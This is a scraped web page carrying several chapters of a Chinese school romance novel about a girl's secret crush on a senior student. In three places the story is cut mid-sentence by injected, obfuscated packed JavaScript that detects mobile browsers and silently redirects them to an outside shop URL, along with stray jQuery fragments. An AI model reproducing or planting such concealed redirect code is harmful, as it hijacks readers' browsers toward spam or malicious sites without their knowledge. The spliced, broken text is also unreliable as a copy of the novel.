RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241906|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的底图使整张宣传图特别夺人眼球,不知道上级领导看见公告栏是什么反应,反正学生们看到后快疯了,云昭和裴至峤的话题度在校内直线上升。 有人说:“天呐,更后悔了!那天就羡慕云昭能和裴至峤站那么近,现在更羡慕她和裴至峤一起上宣传栏!” 云昭听到身后一个女生有点激动的说,她实在没忍住笑意,嘴角上扬,杏眸弯成月牙,耳边回荡着人群中无数声羡慕。 目光投向与公告栏紧挨着的光荣榜,裴至峤的证件照还贴在光荣榜最中央。云昭没想过自己有一天能成为别人口中羡慕的、站在裴至峤身边的人。她只记得自己无数次对着光荣榜遗憾,她和裴至峤不同届,高中时代里他们不会有一张合照。她默默羡慕着和裴至峤同班的同学,至少他们会有一张和裴至峤的毕业照。 “教务处做的这个红色看起来好土。” 有人吐槽学校审美,拉低了两张脸的档次,但有人反驳:“喜报不是红色那是什么色?” “不过这张照片配红底,看起来不像喜报,更像是官宣!” 有人补充:“那一等奖证书岂不就是结婚证?” 同学们随口开着玩笑,就像之前八卦裴至峤和校花韩萧雨一样,只是这回,刚好被站在前面的云昭听见。 云昭太震惊“结婚证”这个词,震惊到失去任何反应,只剩条件反射的转头,看见了刚才那个开玩笑的女生。 那个女生应该认出了云昭,一下子呆住,她开玩笑开到本人面前,绝对是她做过最尴尬的事,没有之一。 女生很快隐匿在人群中,云昭再也没看到她,但虞岁一直在说这张云昭和裴至峤的“官宣照”。 “采访一下云昭同学,看到自己和裴至峤的合照被贴在公告栏并被误以为是‘结婚照’是什么感受?” 虞岁握拳装作话筒,递到云昭嘴边,云昭将虞岁的手放下:“能有什么感受,我快尴尬死了。” 不光开玩笑的人撞见云昭觉得尴尬,云昭作为被开玩笑的更觉得尴尬。 虞岁才不信:“只有尴尬,没有一点高兴吗?” “一点点吧。” 云昭害羞的低下头。 确实不光只有尴尬,那一点开心也是真的,云昭刚才听到了人群中一句很小的:“郎才女貌,看起来很般配。” 裴至峤在校三年获得无数荣誉与奖状,但只有和云昭一起的这个一等奖被学校贴在公告栏大肆宣扬。对裴至峤来说这是特别的,对云昭来说也是。 “早知道刚才拍一下了。” 云昭懊悔,这样千载难逢的机会应该记录下来。 “拍什么公告栏啊,我知道你们这张照片的原件在哪里。” 虞岁得意又傲娇,故意吊云昭的胃口:“你快说在哪里!” 云昭百般恳求,付出了两杯奶茶当利息,终于看到了这张合照的原件,——在一中公众号的文章里。 公众号吞画质,照片有点糊,远没有公告栏上的清晰,但挡不住裴至峤的帅。云昭将这篇庆贺他们获得作文大赛一等奖的推文点了收藏,把合照保存在手机里,新建了一个相册。 晚上回家时,小区门口的打印店还亮着灯,云昭犹豫之后还是走进店里,把照片洗了出来,并且特地做了覆膜。 带着这张照片进家门,妈妈问云昭今天为什么这么高兴,云昭不敢说实话,也不敢把照片明目张胆的摆在自己书桌上。 在书架上找到那本德语原著的《一个陌生女人的来信》,云昭翻到有记号的那一页,把照片夹在了书里。 云昭觉得,这张照片是命运对她的弥补,即使她和裴至峤没有毕业合照,但他们有一张单独的领奖照片,贴在公告栏上,所有人都看得见。 5. 暗恋 「太阳光照不到的楼梯角落,我悄悄羡慕着且钦佩着那些能将喜欢说出口的人,哪怕知道这场表白注定被拒绝。我以为,暗恋是场谁都不要说出口的哑剧,我害怕得到不想要的答案,也怕对他造成困扰。」——@福音书与祷告文 合照在公告栏贴了一整个学期,云昭每次吃完饭回教室时路过这里,都会下意识看一眼。她不敢在公告栏前停留太久,每次都是匆匆,等回家后再仔细看夹在书里的相片。 这成为云昭每天必做的惯例,成为支撑她的动力。枯燥、无聊、被学习和成绩堆满的高中生活里,云昭庆幸有裴至峤的出现,也庆幸自己有场暗恋。 第二周周末与中秋相连,周五下午比平时早放学半个小时,所有同学兴奋的收拾完书包,一个比一个跑得快。 虞岁要跟她爸妈一起去隔壁市外婆家过中秋,第一个离开教室。而云昭今天要值日,等所有同学都走了,她还在收拾讲台。 下午五点,太阳西斜,走廊的地板被光影烙印出窗户和栅栏的形状。云昭关好教室门,准备回家。 走到饮水机旁,云昭隐约听到了有人在叫裴至峤的名字,声音来源于一楼和二楼之间的休息平台。 云昭倾身从二楼往下看,看到了裴至峤和一个女生站在一起。裴至峤背对着云昭,那个女生和裴至峤面对面,云昭认出她是在学校里很出名、被一众学生说担得起校花名头的韩萧雨。 韩萧雨特地在这里等着裴至峤做完值日,将他拦下。 裴至峤问:“有什么事吗?” 韩萧雨深吸了一口气,从书包里拿出一个粉色信封,下定决心的递到裴至峤面前。 “裴至峤,我一直都想跟你说,我喜欢你。” 云昭没想到自己撞到了别人的表白现场,她捂着嘴不敢发出声音,也不敢出去,退到楼梯口后面把自己藏起来。 如果此时裴至峤面对云昭,云昭能看见裴至峤脸上和她如出一辙的惊讶。 这不是裴至峤第一次被表白,从高一到现在,给他递情书的女生一只手数不过来,但裴至峤从没谈恋爱的想法。 “韩萧雨同学,很抱歉,现在我更想好好学习。” 云昭躲在二楼,听着裴至峤这句拒绝,既庆幸,又心疼那个表白的女生。在云昭看来,表白是一件需要巨大勇气才能做到的事,被拒绝更是一件令人很痛苦的事。 但韩萧雨没有像其他女生一样就此放弃,或者直接哭了,她只是笑着接受这个结果。 “其实我知道你会拒绝我。” 韩萧雨站得笔直,没有被拒绝的狼狈,“我下周就要去集训准备艺考了,艺考结束后我也不会回校复习,今天可能就是我最后一次见你。我不想给我的青春留遗憾,所以我想告诉你,我喜欢你,哪怕明知你可能对我没有这样的想法,我还是想告诉你,我喜欢你。” 裴至峤静静听着韩萧雨讲她的喜欢,韩萧雨说得坦荡,没有强求裴至峤必须要怎样,她只是想说自己的喜欢。 “但没想到你拒绝人的话术那么老套没有新意,你作文写得那么好,为什么不能说点委婉的、好听的拒绝?” 韩萧雨开玩笑来活跃冻僵的气氛。 裴至峤认真回答她:“只要是拒绝,大概就不会是好听的话,无论多委婉,结局也都是拒绝。明确的回答好过于模糊不清的纠缠,这样对你、对我都好。” “好吧,我接受你这番解释,让我觉得我没看错人,你确实很值得喜欢。” 裴至峤紧绷的神经松懈,轻轻笑着:“韩萧雨,你是个很好的人,祝你前程似锦。” “这个时候就不用给我发好人卡了,既然拒绝我了,就祝我们后会无期。” 韩萧雨走得干脆,连塞给裴至峤的情书都没拿走,认真践行着她这句“后会无期”。 哒哒哒的脚步声由大变小,云昭确定韩萧雨走了,探头往下看,裴至峤却正好往楼上望了一眼,吓得云昭赶紧退回去,躲到教室门后。 随后又一阵脚步声,应该是裴至峤下楼的声音。云昭拍着胸口缓神,想裴至峤应该没发现她。 云昭不是有意偷窥,如果可以,她宁愿没听到有人和自己暗恋的人表白。但这种时候,她觉得躲着比出去好,出去了大家都尴尬,躲在这里只要装不知道就可以了。 以前云昭只从别人嘴里听过裴至峤拒绝表白,今天亲见,虽然拒绝的不是她,但感觉胜似她被拒绝。毕竟连校花都被拒绝了,何况她呢? 梁斯年在楼下等裴至峤,他手里拿着篮球,校服松垮的套着,和裴至峤完全是两种风格,看着不太正经。 “你终于出来了,待会儿去打球吗?” 梁斯年自然的揽过裴至峤的肩膀,裴至峤睨他一眼,他又放了手。 “不去,我待会儿要去我爸那儿。” “你爸怎么又找你了?” “中秋了,怎么也得回去和爷爷奶奶吃顿饭。反正一年就这两次,让我妈少点麻烦。” “好吧,那我们下次约,下次你可一定得来。” 梁斯年准备摇人出来打球,韩萧雨的情书在裴至峤手里像烫手山芋。 裴至峤问:“司佳恩是不是和韩萧雨在一个培训机构?” 梁斯年漫不经心回:“是啊,怎么了?” “想让司佳恩帮忙把这个还给韩萧雨。” 粉色的信封一看就知道是什么:“你又收到情书了?” 梁斯年拿过来就想拆开看,被裴至峤制止:“你别拆,这是她的隐私。” “韩大校花给你写的情书你居然不看,白瞎人家的心意了。” “我拒绝她了,她的心意应该留给值得的人去看。” 情书被梁斯年拿走转交给司佳恩,裴至峤嘱咐他不要拆开。 “韩大校花都被你拒绝了,什么人才能把你收下?” 梁斯年说裴至峤眼光太高,又突然兴奋的拍了一下裴至峤肩膀,“司佳恩给你新认了个cp你想不想知道?” “你们无不无聊?” 无不无聊不知道,裴至峤挺无语。 “什么叫我们无聊,你和云昭学妹贴在公告栏上谁看不见?司佳恩已经替你认下这个‘老婆’了。” 裴至峤皱眉,“哪来的‘老婆’?你乱说什么呢?” 梁斯年可不是乱说,宣传页换新那天,司佳恩就是在人群中说“一等奖证书是结婚证”的那个,还被云昭本人听见。 司佳恩回理一班后很颓丧,梁斯年问她怎么了,她说:“我替裴至峤认了个老婆。” 梁斯年当时差点被司佳恩的傻缺行为笑死,司佳恩因为他的嘲笑狠狠“揍”了他一顿。 梁斯年问裴至峤:“你没看过公告栏吗?自己的事自己都不关心!” 裴至峤看过公告栏,宣传页上的照片很大,远远就能瞧见。学校请来开学典礼的摄影师很专业,将云昭拍得很好看,她笑起来眉眼弯弯,像一颗草莓味糖果,很甜。 梁斯年坏笑着问:“和可爱的云昭学妹站一起是什么感受?” “没什么感受。” 裴至峤淡淡的回应。 “真的没什么感受吗?” “你有空在这里想乱七八糟的,不如去读几本书。” 梁斯年很无所谓:“我不用读书。” “但我和她要读书。” 裴至峤咬牙切齿,差点一脚踢出去让梁斯年改改他那吊儿郎当的样子,被梁斯年躲开。 “这些话跟我随便说说就得了,别传出去打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241907|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰人家。” 梁斯年摸摸鼻子:“哦。” 还好裴至峤不知道云昭已经听到司佳恩说的话,不然又得骂他。梁斯年觉得自己挺命苦,被司佳恩和裴至峤轮流威胁。 中秋三天,裴至峤在他父亲时永言家里小住,陪爷爷奶奶吃饭。 云昭家里,父亲云景志在德国出差,云昭和妈妈黎梦秋一起过中秋。黎梦秋做了很多口味的月饼,云昭担任试吃员,决定甜品店要上新的产品。 云昭觉得妈妈做的每个口味都很好吃,但她的心思不在品尝上面,总想着那天放学她躲在楼梯后见到的。 在那个阳光照不到的缝隙,云昭羡慕且钦佩韩萧雨,她能将喜欢毫无负担说出口,那怕知道这场表白注定会被拒绝。 晚上回房间,云昭和虞岁打视频,说起这件事。云昭问虞岁:“如果你有喜欢的人,你会告诉他你喜欢他吗?” 这种抽象的问题虞岁很难说出答案,她不像云昭一样心中已经存在一个喜欢的人,可以用来假设,虞岁心里没有这个人。 虞岁还是答了:“我可能会告诉他吧,也许他就是我命中注定的那个人呢。” 云昭接着问:“那如果你明知对方没这个意思,你也会说吗?” “或许也会想让他知道,如果对方一直不知道我的喜欢,那这场暗恋还有什么意义。告诉他也许不是真的想和他在一起,只是觉得这场喜欢要留个印记,来证明我曾喜欢过。” 虞岁的解释好像让云昭更理解了韩萧雨一些,韩萧雨是在为她的喜欢划句号,也在留印记。 “你问这个是打算去表白?” 虞岁在屏幕后很激动,比自己去表白还激动。 云昭赶紧摆手否认,“不是我,只是我看到别人给裴至峤表白了。” “什么?!让我猜猜是不是韩萧雨?” 云昭惊讶:“你怎么知道!” 虞岁说其实学校里很多人都知道韩萧雨对裴至峤有意思。裴至峤颜值高,学习好,更重要的是有素质懂分寸,用个词来形容就是“正人君子”,作为一中表白墙的两位常客之一,招大美女喜欢一点也不奇怪。 表白墙去年搞了一个类似于校花校草的评选,韩萧雨和裴至峤荣登榜一,韩萧雨转发了这个帖子,从此很多人都知道韩萧雨对裴至峤很特别,只是没人在他们俩面前明说。 “他们俩在一个班,因为势均力敌的样貌,很多人拿他们当青春偶像剧的代餐。” 虞岁噼里啪啦说了一堆关于韩萧雨和裴至峤的传闻,这些云昭都不知道,她甚至不知道一中还有表白墙,虞岁大手一挥,把链接发给她。 “其实昭昭,表白墙上也很多人捞你,觉得你很可爱。” 虞岁觉得云昭现在呆呆的样子就挺可爱,云昭惊恐,用力摇头宁愿没听到虞岁这话。 虞岁接着问:“那裴至峤对表白的反应是什么?” 不用想也知道是拒绝。 云昭给虞岁还原了一下当时的场景,虞岁吐槽裴至峤还是如此无情,每次都用一句想好好学习来回绝,斩断了无数少女的情思。 云昭觉得裴至峤说得也没错,现在确实该好好学习,这样下次才能跟他一起出现在光荣榜上。 “那昭昭,你会告诉裴至峤你喜欢他吗?” 云昭想,应该不会。 “我觉得暗恋是一场一个人的哑剧,谁都不要说出口才好。” 因为云昭没有那份坦荡,她害怕得到不想要的答案,也怕因此对裴至峤造成困扰。 如果可以,云昭希望她每个月都能和裴至峤在光荣榜相见,她希望裴至峤只记得她的好,不要看见她因表白失败而显出的狼狈。 云昭心里也永远只记得裴至峤的好。 6. 羞耻 「月亮不太圆满的晚自习,我努力维持的优秀形象当着他的面被湮灭,我为此感到羞耻和难过。他悄悄过来安慰我,让我觉得亚克力上的划痕都是刻意打磨的艺术。」——@福音书与祷告文 中秋假期后返校的早晨,同学们再也没有放假前的兴奋,无精打采的早读引来班主任训斥。 “马上就要第一次月考了,一个二个像什么样子!我们班是重点班,拿出点重点班的态度来,高三文一就在隔壁,看看人家怎么学的,再看看你们!” 有同学悄悄反驳他们才高二,用不着高三那么紧张吧。但一中的强度摆在这里,大家不敢真的懈怠。 虞岁蔫嗒嗒的趴在桌上,她昨晚才从隔壁市回来,快累死了,今天早上又走得急,早饭都没吃。 云昭拿出一盒糕点摆在虞岁桌上:“我妈妈中秋节做的,你吃点垫垫肚子。” 虞岁打开盖子狼吞虎咽,一边夸:“阿姨手艺还是这么好,好怀念去你们家蹭饭的那几天。” 暑假时虞岁去云昭家住过几天,对黎梦秋的手艺赞不绝口,无论是家常菜还是甜点都做得特别好吃,虞岁总算知道为什么云昭说学校附近的甜品店不如她妈妈做得好。 “我妈妈做了很多,这些都给你吃。” 云昭怕虞岁噎到,帮她打开水杯,把一大盒糕点全给了她,又从书包里拿出一盒,推给同桌关栩宁。 “中秋快乐,这是我妈妈做的月饼。” 关栩宁停下笔,偏头看满眼期待的云昭,保持冷漠无情的一面,还是将盒子推了回去,“不用了,谢谢你和你妈妈。” 云昭坚持不懈的推到关栩宁面前:“你尝尝吧,我妈妈做得很好吃的,就当是感谢你一直都给我讲数学题。” 盒子打开,云昭眼疾手快的塞了一块到关栩宁嘴里,“真的很好吃是吧?” 虞岁看不过去关栩宁不领情,“你要不吃就给我,我喜欢吃。” 云昭护着给关栩宁的这盒糕点:“那么大一盒还不够你吃啊?” 给虞岁的那盒糕点比给关栩宁的大了一倍,不然虞岁又要吃醋怪她了,“我妈妈欢迎你随时来我们家蹭饭,你就别和关栩宁抢了。” 关栩宁咽下那口月饼,面对言笑晏晏的云昭,终究没再拒绝,她说:“嗯,真的很好吃。” 月饼还没吃完,班主任又出现在教室准备上课。文一班班主任叫武滢,是个刚过三十的女老师,教英语,年轻气盛,抓成绩抓得严,强调她们班英语绝对不能输给隔壁理一班。 云昭英语很好,基本在一百四以上,作文经常被当范文,英语课对她来说很轻松。虞岁就不一样,恨不得在英语课上去世,武滢喜欢抽英语成绩靠后的同学回答问题,虞岁每节课都中奖。 好不容易熬过一节课,虞岁虚脱的瘫着,“昭昭,你说我们为什么要学英语!” 她每节英语课都要说那句经典台词:“我要洋人死!” 云昭没接虞岁的梗,独自惆怅着下节的数学课,“我觉得葛大爷可能恨我,这个红叉力透纸背。” 她给虞岁展示她被划破的练习册,虞岁哈哈大笑着。 云昭叹了口气,问出:“我们为什么要学数学!” 不过这时候问为什么已经来不及了,月考就在下周,全校都开始紧张准备,迎接新学期的第一次大考,盼望给这学期开个好头。 云昭比以往更努力,即使是抱怨了几百遍的数学她也做了一题又一题。她希望,她能和裴至峤一起出现在光荣榜上,就像那张宣传页一样。 考试前一天,课桌清空,所有书和资料全部放进一侧的柜子里锁起来,教室被布置成高考标准考场的样子。 一中月考的阵仗向来很大,不止是标准考场,考场座位也是一科一换。高二高三考场混在一起,云昭有一场考试在裴至峤班。 那是最后一场英语考试,这本是云昭的拿手科目,她以前从不紧张,这次有点例外。 云昭东张西望的打量这间教室,裴至峤班和她们班没有任何区别,学校统一的装修,统一的课桌椅,甚至因为布置考场,云昭连哪个座位是裴至峤的都不知道。 可因为裴至峤每天都坐在这个房间,云昭有种闯进他私人领地的感觉,忍不住一次又一次寻找着与他有关的痕迹。 因为是不能说出口的暗恋,云昭融入裴至峤生活的方式充满偷感,只能在升旗仪式是悄悄看他,只能借着在他们班考试的名义暗地观察。 监考铃响了,云昭收回思绪,开始认真答题。英语试卷难度中等,云昭做完后检查了两遍,墙上的时钟刚好指向要收卷的时间,她收起自己的笔袋和学生证。 卷子收了好一会儿,这堂的监考老师年龄有点大,做事不太利索,高三已经考完回来在门口等,云昭她们的卷子还没收完。 云昭站在第二排,等着老师往后收答题卡,不经意往门口看了一眼,发现裴至峤也在。一种比考前更紧张的情绪涌现,云昭继续低头,装作没看见。 喜欢让人变得好奇怪,明明那么渴望在毫无痕迹的考场里寻找与他有关的东西,却在他本人出现时不敢面对。 低头装鹌鹑直到答题卡收完,裴至峤已经不在门口,云昭松了一口气,又有点失望。 回班后虞岁生无可恋的冲到云昭面前,“完了完了昭昭,这次英语我完蛋了!武老师不会今晚就把我叫到办公室去吧?” 英语卷子改得快,一节课就能出成绩,虞岁的担心不无道理,云昭安慰她,说武老师没那么可怕,让她别太担心,但虞岁还是焦虑得晚饭都吃不下。 哪知比英语卷更早改完的是昨天考的数学,有人比虞岁先获得办公室喝茶套餐。 晚自习,数学课代表把答题卡发下来,鲜红的分数让云昭心咯噔一下,顿感不妙。下一秒,课代表就跟云昭说,葛大爷叫她拿卷子去办公室。 即使知道数学老师要对她说什么,她已经做好准备,但事情的发展还是出乎了云昭的预料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241908|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 数理化老师在同一个靠近高三的办公室,葛文斌叫云昭坐在他身边的凳子,认真看着她的卷子。 “云昭,你这次数学考得不太好啊。” 葛文斌没有丁菡、武滢的委婉和迂回,说得直接了当:“我看你最后两个选择填空都错了,还有最后两个大题只做了一半,这样的数学成绩在重点班算垫底了你知道吗?” 云昭轻轻点头,不敢直视葛文斌。她知道她这学期数学学得很不好,特别是关于圆锥曲线的新课她听得不是很明白,这次错的都集中在这部分。 云昭乖乖听训的样子有点可怜,葛文斌就没有说得太过分,问她是不是哪里没听懂。 葛文斌话音未落,办公室的门被人推开,云昭余光瞥见有人进来。 ——是裴至峤。 云昭的心一下提到嗓子眼,比今天下午收卷时更不敢看裴至峤。她不希望裴至峤在此时注意到她,但他们班数学老师和葛文斌挨着坐,不可能看不到她。 一股绝望涌上心头,云昭已经开不了口去回葛文斌学没学懂的那句话。 见云昭不回,葛文斌只好让云昭有不懂的一定要问,班里很多数学不错的同学,比如关栩宁和数学课代表。 “云昭,你其他科成绩都挺不错的,别让数学这科拖了你的后腿,尖子生之间就几分的差距,你的数学差得有点多了。” 云昭用力压下喉头的酸痛,装作正常:“嗯,我知道了老师。” 葛文斌没忍心再说她,叫她回去了,云昭说完谢谢老师,加快离开办公室的脚步,逃离这个有裴至峤的环境。 裴至峤是来办公室替数学课代表帮老师登成绩,云昭知道,刚才说的一切都被裴至峤听到。 云昭一直以来都能坦然接受自己的不足,在裴至峤进办公室之前,面对葛文斌的批评她并不难过,更多的是在反思自己确实考得不好。 裴至峤进来后,云昭被情绪占领,涌现出一种无以复加的难过,她一想到自己难堪的、狼狈的样子被裴至峤尽收眼底,她太羞耻,甚至认为这是比表白失败更糟糕的事。 云昭蹲在楼道一个盲区的角落,想起上次在这里,裴至峤夸她作文写得很好,她是如此兴奋,云昭觉得那时候在裴至峤心里,她应该是一个优秀的学妹。 学生时代对一个人的评判标准很单一,成绩是最直观的证明。云昭努力的维持自己的优秀形象,在作文大赛上拿奖,在光荣榜与裴至峤并列。 但这所有的荣誉都在今晚消失,当着裴至峤的面湮灭,今后裴至峤想起她,会不会只记得她是那天在办公室被老师批评的学生,只记得这是个学不好数学的学妹。 裴至峤高一拿过数学竞赛一等奖,云昭想,裴至峤会觉得她很笨吗?他会不会因此就讨厌她了? 初一的月亮像银钩,高高挂在天边,不太圆满。办公室门没关紧,穿出老师们的交谈的细碎声音。 云昭躲在暗处,一滴眼泪落在地砖上。 7. 安慰 裴至峤登成绩间隙,看见云昭出去。云昭低着头,吸了吸鼻子,看起来很伤心、很失落,让他想到语文老师课上讲的一个词。 ——泫然欲泣。 葛文斌对面坐着的是理一班的数学老师,也是云昭高一的数学老师,她挺喜欢云昭这个小姑娘,劝葛文斌别说太重的话,别打击学生的信心。 “我没想批评云昭,只是提醒她要重视起数学。你看看这成绩,其他科都能稳居前五,数学快在重点班倒数了。尖子生最重要的是不能有短板,不能偏科,她有能力去最好的几所大学,总不能让数学耽误她。” 文科班学数学比理科班难一些,除开学生资质的差距,文科班没有理化的课程,计算的能力要差一些,几个数学老师都明白。 “老葛,你别太着急,你拿竞赛班的强度要求文科班怎么行?现在才高二,还有时间慢慢教。” “高二不着急高三就来不及了,都是重点大学的好苗子,要是因为偏科没考上多可惜!” 葛文斌教书三十年,有太多偏科的例子在前,实在不能不在意。 有老师看见裴至峤在办公室,说像他这样均衡发展的学生不多,问他们班班主任这回月考裴至峤是不是又霸榜第一。 难得夸人的葛文斌也问起裴至峤,说裴至峤是他教过的最省心的学生。裴至峤数理化学得很好,没想到最后会选文科,调侃文一班的班主任捡到个宝贝。 “我比较喜欢文科就选了。” 裴至峤笑着搭几位老师的话,把登记好的成绩表交给数学老师,出去时将办公室的门关紧了。 办公室的前门紧挨着高三文一的后门,裴至峤应该一步跨进教室,他却控制不住脚步的往反方向走去。在楼道暗处,他看见了一个小小的身影坐在地上,轻颤的身体伴随着小声的哭泣,像一只钻进地洞的小地鼠。 云昭不敢回教室,不想让人知道她哭,只好在这里偷偷难过。 “云昭。” 有人叫她的名字,云昭顾不上分辨那道声音来自于谁,含着泪水抬头,看到模糊的裴至峤出现。 “裴……” 云昭条件反射的脱口而出一个字,尾音拉得很长,带着哭咽的鼻音,却已经没有勇气叫出裴至峤的全名。她迅速低头,不想让裴至峤看清她此时泪流满面的模样。 楼道昏暗,只有一小片白炽灯的光经过几次反射照在云昭脚边。一阶楼梯很宽,云昭占了小小一块,裴至峤蹲在她身边。 “不是怕黑吗?怎么一个人坐在这里?” 离得太近了,云昭的心跳跟着裴至峤的气息,一下全乱。怕不怕黑的真相已经不重要,他的眼神落在她身上,云昭将手里的答题卡藏起来,慌忙的抹着眼泪。 纸张抖动的声音在正上着晚自习的教学楼里清晰的传入裴至峤的耳朵,他没拆穿她,摸了摸校裤口袋,拿出一包新的纸巾,递到云昭面前。 一抹鲜亮的绿出现在眼前,云昭顺着这只手看向裴至峤,他没说话,递纸巾的动作持续了好几秒,云昭才慢吞吞的接过,抽出一张盖在脸上。 对云昭来说,这几秒很长,比刚才在办公室当着裴至峤的面被葛文斌批评让她如坐针毡过得更漫长。云昭希望裴至峤记得她、注意她,但绝不是在这种时候。 “裴至峤,你刚刚是不是都听到了?” 裴至峤肯定听到了,云昭觉得她在说废话,显得她更不聪明。 “裴至峤,你会不会觉得我很笨啊?” 裴至峤反问:“我为什么觉得你很笨?” 云昭想说:因为她这次没考好,老师批评她了,因为她学不好数学,而裴至峤是个把数学学得很好的学生。 她张了张口,最后没说出来。 周围很寂静,谁也没再说话,云昭沉浸在难过的情绪里,没注意到裴至峤手握得很紧。他也在紧张,他不太会哄人,更不会哄伤心的女孩子,他不知道自己为什么到这里来了,但他就是来了。 “云昭,你是因为觉得自己学不好数学所以难过吗?” 云昭不止是因为这个,还因为裴至峤看见了她觉得自己不太好的一面,她在意的是她在他面前丢脸了,可她不能将隐秘的心事直接告诉裴至峤,只能用“嗯”来回复、来掩盖。 “云昭,当你觉得你做一件事不行的话……” 云昭以为裴至峤要用他大学霸的亲身经验告诉她怎么学好数学,没想到裴至峤说:“你就去街上走走,这样你就变成了一个行人。” 空气凝固了,周遭比刚才更寂静,云昭不知道自己什么反应才正确,于是只能呆呆看着裴至峤。 裴至峤也有点愣,他以为云昭会笑,上回梁斯年把这个笑话讲给司佳恩听的时候,梁斯年和司佳恩快笑翻天了。裴至峤理解不了他们的笑点,只是觉得司佳恩觉得好笑,云昭应该也会觉得好笑,毕竟她们都是女孩子。 可云昭没有任何反应,甚至有点疑惑,挂着泪的脸添了一丝茫然。 裴至峤问:“不好笑吗?” 云昭觉得:“好……”冷的“笑……”话。 她也没理解到这个笑话的笑点,但意识到裴至峤是在安慰她,她说不出反驳的答案。 裴至峤很难得的显出一丝笨拙:“那有开心一点吗?” 云昭说:“嗯,开心一点了。” 冷笑话不好笑,如果是别人说给她听,她大概会更难过,但偏偏面前的是他。 “葛老师有时候比较心急,也许说话重了一些,你别放在心上。” 云昭没放在心上,只是…… “你会放在心上吗?” 说出这话的一瞬间,云昭有点后悔,但说出去的话泼出去的水,她想收也收不回来。 裴至峤没听懂,问:“把什么放在心上?” 云昭欲盖弥彰:“没什么。” “裴至峤,你会觉得我很笨吗?” 回到了最初那个问题,那个云昭最担心的问题。 裴至峤这一次明确回答她:“不会,你是很优秀的人。” 他笑着,说得很真心。 裴至峤细心的提醒云昭:“地上凉,别坐太久了。” 然后他起身,往教室走去,晚自习还没结束,他不能缺席太久。 云昭点头,她知道了,看见裴至峤走远,在拐角处 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忽的想起中秋的那个周五,梁斯年问他对云昭是什么感受,他心里想的是,她很可爱,坐在楼梯上一个人伤心的样子也可爱。裴至峤从没觉得云昭笨,没觉得她狼狈。 “还有,以后别讲那些冻死人的冷笑话。” 梁斯年反驳:“怎么,不好笑吗?” 裴至峤没答,径直回班了。 走廊的声音飘远了,云昭没听到裴至峤和梁斯年后面的对话,只是梁斯年说的那句“撩学妹”让云昭悄悄红了脸。 要是裴至峤真是来撩她的就好了,在裴至峤心里,云昭只是葛文斌的学生,是淮川一中众多学生中的一个。也许她有那么一点特别,曾站在他身边过。 云昭再抽出一张纸把眼泪擦干净,深呼吸两下后回班,尽管她尽力在掩饰自己的难过,但熏红的眼角出卖了她。 一回座位,虞岁就凑上来关心云昭,“昭昭,是不是葛大爷骂你了?” 虞岁用她那张不饶人的嘴帮云昭讨伐葛文斌,安慰云昭受伤的心。 一旁的关栩宁终于在这时主动了一次,说:“你有不会的题可以问我,葛老师比较心直嘴快,你别在意,像以前一样认真学就好了。认真就会有回报的。” “就是昭昭,你别管葛大爷说什么,做自己就好,别难过了。” 虞岁已经顾不上担心自己的英语成绩,一个劲儿的安慰云昭。 “我知道的,谢谢你们。” 云昭眼睛还红着,对她们笑,但这个笑容看起来勉强。 虞岁担忧的看着她:“可你的状态很不好,一看就哭过了,葛大爷到底跟你说了多重的话,从我认识你以来你就没哭过几次。” 云昭领会到她们的关心和安慰,她露出一个更大幅度的笑容,宣告她真的没事。 “我不难过了,刚刚也不是因为葛老师骂我才哭的。” “那是因为什么?” 云昭答非所问,说:“有人已经安慰过我了。” 云昭摸着口袋里的东西,抽屉里放着半包没用完的纸巾。 这些是有人安慰她的证明。 8. 划痕 月考完是周三,留了两天时间给各科老师清理成绩,虞岁不出意外的被武滢约谈,开始和云昭一样整天苦着脸。 答题卡上“118”的分数刺眼,云昭庆幸那晚裴至峤没看见。她不想下一次因为分数被葛文斌约谈,很努力的对待数学这个科目,几乎所有的空闲时间都在做题。 关栩宁很守承诺,把这次考试云昭做错的题都给她讲了一遍,在云昭的草稿纸上给她演算过程。草稿纸很厚一本,云昭在文具店随便买的,她什么都往上写。关栩宁写完一页往后翻,看见了云昭秀气的字体重复着一句诗。 ——赤霞动金光,日足森海峤。 最隐秘的心事被发现,云昭一下紧张起来,装作不经意的看向关栩宁,就差把做贼心虚写在脸上。好在关栩宁不在意,往后翻了一页,继续和云昭讲题。 云昭呼出很长一口气,提起的心沉下来,被小插曲惊扰的情绪归于平静,认真听关栩宁讲题。讲完后草稿本回到自己手里,云昭翻到写着诗句的那页。 这是李白的一句诗,在诗仙无数名作中鲜为人知,题目有点长,云昭已经不记得。整首诗里云昭就背下了这一句,因为这一句里有裴至峤的名字。 那晚在楼道遇见裴至峤后,云昭整个晚自习心不在焉,莫名其妙的在草稿纸上写了很多遍这句诗,回过神后红了脸,把这页藏在厚厚的草稿本里。 就像她的喜欢藏在茫茫人海里。 周五不用上晚自习,放学后虞岁约云昭去附近商场新开的一家韩式烤肉,云昭没应,黎梦秋让她今天早点回家。 她们在校门口分别,虞岁往左去了商场,云昭往右在站台等车。 